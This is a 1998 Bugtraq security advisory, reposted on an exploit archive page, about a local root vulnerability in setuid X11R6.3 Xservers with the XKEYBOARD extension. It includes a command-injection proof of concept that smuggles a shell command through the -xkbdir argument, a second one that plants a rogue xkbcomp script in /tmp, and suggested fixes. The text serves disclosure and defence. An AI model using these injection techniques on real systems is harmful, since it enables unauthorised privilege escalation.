X11R6.3 Xkeyboard hole

Summary
Description:X11R6.3 based Xservers with the XKEYBOARD extension that are setuid can be exploited with the -xkbdir option
Author:Pavel Kankovsky <peak@kerberos.troja.mff.cuni.cz>
Compromise: root (local)
Vulnerable Systems:Those systems running a setuid X11R6.3-based Xserver with XKEYBOARD extension (R6.1 is also probably affected). The XFree86 servers that come with many Linux and *BSD distributions is a good example of this.
Date:3 February 1998
Details


Date: Tue, 3 Feb 1998 20:26:16 +0100
From: Pavel Kankovsky <peak@kerberos.troja.mff.cuni.cz>
To: BUGTRAQ@NETSPACE.ORG
Subject: serious security problem in XKB

The Neverending Story of X11 Insecurity continues...

Summary:

On a system where X11R6.3-based Xserver with XKEYBOARD extension (R6.1 is
probably affected too) is run in setuid or setgid enviroment (e.g. typical
XFree86 installation has XF86_* installed setuid root), local users can
exploit a "feature" of XKB implementation to execute arbitrary commands
with the extra privileges.


Quick vulnerability check:

$ Xserver -xkbdir ':;id > /tmp/I_WAS_HERE;'
[exit X server]
$ grep root /tmp/I_WAS_HERE && echo 'Gotcha!'


Quick fix:

1. as usual chmod u-s,g-s all installed Xserver binaries (*)
2. use xdm or a SAFE and PARANOID wrapper to start Xserver

(*) and unsafe or not-paranoid-enough setuid/setgid wrappers
    (current Debian wrapper falls into this category)


Details:

In fact, there are (at least) two distict problems in XKB implementation,
both related to the use of -xkbdir option.

1. xkbcomp is invoked using system() or popen()
   any shell metacharacters included in -xkbdir argument are interpreted

[demonstrated by the "quick vulnerability check"]

2. a user supplied instance of xkbcomp is invoked
   -xkbdir argument is used to build the path to the compiler

$ cat > /tmp/xkbcomp
#!/bin/sh
id > /tmp/I_WAS_HERE
[ctrl+d]
$ chmod a+x /tmp/xkbcomp
$ Xserver -xkbdir /tmp
[X server executes /tmp/xkbcomp]


Further reading:

xc/programs/Xserver/xkb/xkbInit.c
xc/programs/Xserver/xkb/ddxLoad.c
xc/programs/Xserver/xkb/ddxList.c


--Pavel Kankovsky aka Peak   [ Boycott Microsoft -- http://www.vcnet.com/bms ]

More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: